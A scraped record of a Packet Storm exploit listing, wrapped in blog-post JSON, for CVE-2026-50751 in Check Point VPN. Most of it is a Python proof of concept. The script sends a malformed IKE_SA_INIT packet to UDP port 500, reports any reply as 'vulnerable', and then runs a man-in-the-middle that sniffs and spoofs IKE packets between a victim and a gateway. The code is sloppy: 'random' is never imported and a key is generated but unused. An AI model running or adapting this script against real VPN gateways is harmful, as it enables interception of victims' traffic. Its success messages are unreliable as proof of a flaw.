{“lastseen”:”2026-06-12T16:34:36″,”description”:”This is a Python script attempting to exploit a vulnerability in Check Point VPN by sending a malformed IKESAINIT packet to UDP port 500, detecting whether the target responds as an indicator of exploitability, then executing a MITM attack to intercept…”,”published”:”2026-06-12T00:00:00″,”modified”:”2026-06-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Check Point VPN IKE Logic Flaw”,”source”:””,”references”:””,”id”:”PACKETSTORM:223316″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-50751″],”sourceData”:”==================================================================================================================================\\n | # Title : Check Point VPN IKE Legacy Auth Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : No standalone download available |\\n ==================================================================================================================================\\n \\n [+] Summary : A Python script attempting to exploit a vulnerability in Check Point VPN (CVE-2026-50751) by sending a malformed \\n IKE_SA_INIT packet to UDP port 500, detecting whether the target responds \\n as an indicator of exploitability, then executing a MITM attack to intercept IKE packets between a victim and a VPN gateway.\\n \\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import socket\\n import struct\\n import sys\\n import time\\n from scapy.all import *\\n from cryptography.hazmat.primitives.asymmetric import x25519\\n from cryptography.hazmat.primitives import serialization\\n \\n class CVE202650751Exploit:\\n def __init__(self, target_ip, target_port=500):\\n self.target_ip = target_ip\\n self.target_port = target_port\\n self.sock = None\\n def create_ike_sa_init(self):\\n \\”\\”\\”Create a fake IKE_SA_INIT package\\”\\”\\”\\n ike_header = struct.pack(‘!BBBB I I I’,\\n 0x20, \\n 0x20, \\n 0x00, \\n 0x00, \\n 0x00000001, \\n 0x00000000, \\n 0x00000001 \\n )\\n legacy_payload = bytes([\\n 0x20, \\n 0x00, \\n 0x00, 0x04, \\n 0x01, 0x02, 0x03, 0x04 \\n ])\\n return ike_header + legacy_payload\\n def exploit_legacy_auth(self):\\n \\”\\”\\”Exploiting weak authentication from existing customers\\”\\”\\”\\n print(f\\”[*] Targeting {self.target_ip}:{self.target_port}\\”)\\n private_key = x25519.X25519PrivateKey.generate()\\n public_key = private_key.public_key()\\n packet = IP(dst=self.target_ip)\/UDP(sport=random.randint(45000, 65535), dport=self.target_port)\\n ike_data = self.create_ike_sa_init()\\n print(\\”[*] Sending malicious IKE packet…\\”)\\n try:\\n response = sr1(packet\/Raw(load=ike_data), timeout=3, verbose=0)\\n if response:\\n print(\\”[+] Received response – Target may be vulnerable\\”)\\n return True\\n except Exception as e:\\n print(f\\”[-] Exploit failed: {e}\\”)\\n return False\\n def mitm_attack(self, victim_ip, vpn_gateway):\\n \\”\\”\\”Man-in-the-middle attack to intercept VPN communications\\”\\”\\”\\n print(f\\”[*] Starting MITM attack between {victim_ip} and {vpn_gateway}\\”)\\n def packet_handler(pkt):\\n if IP in pkt and UDP in pkt:\\n if pkt[UDP].dport == 500 or pkt[UDP].sport == 500:\\n print(f\\”[+] Intercepted IKE packet from {pkt[IP].src}\\”)\\n modified_payload = pkt[Raw].load + b’\\\\x00\\\\x00\\\\x00\\\\x01BAD’\\n send(IP(src=pkt[IP].dst, dst=pkt[IP].src)\/\\n UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)\/\\n Raw(load=modified_payload), verbose=0)\\n \\n sniff(filter=f\\”host {victim_ip} and host {vpn_gateway} and port 500\\”, \\n prn=packet_handler, store=0)\\n def main():\\n if len(sys.argv) \\u003c 2:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_ip\\u003e [victim_ip]\\”)\\n sys.exit(1)\\n exploit = CVE202650751Exploit(sys.argv[1])\\n \\n if exploit.exploit_legacy_auth():\\n print(\\”\\\\n[!] VULNERABLE – Legacy client authentication bypass possible!\\”)\\n print(\\”[!] CVE-2026-50751 exploitation successful\\”)\\n \\n if len(sys.argv) == 3:\\n print(f\\”[*] Initiating MITM attack against {sys.argv[2]}\\”)\\n exploit.mitm_attack(sys.argv[2], sys.argv[1])\\n else:\\n print(\\”\\\\n[+] Target appears patched or not vulnerable\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223316″,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223316\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-12T16:34:36″,”description”:”This is a Python script attempting to exploit a vulnerability in Check Point VPN by sending a malformed IKESAINIT packet to UDP port 500, detecting…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-62293","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n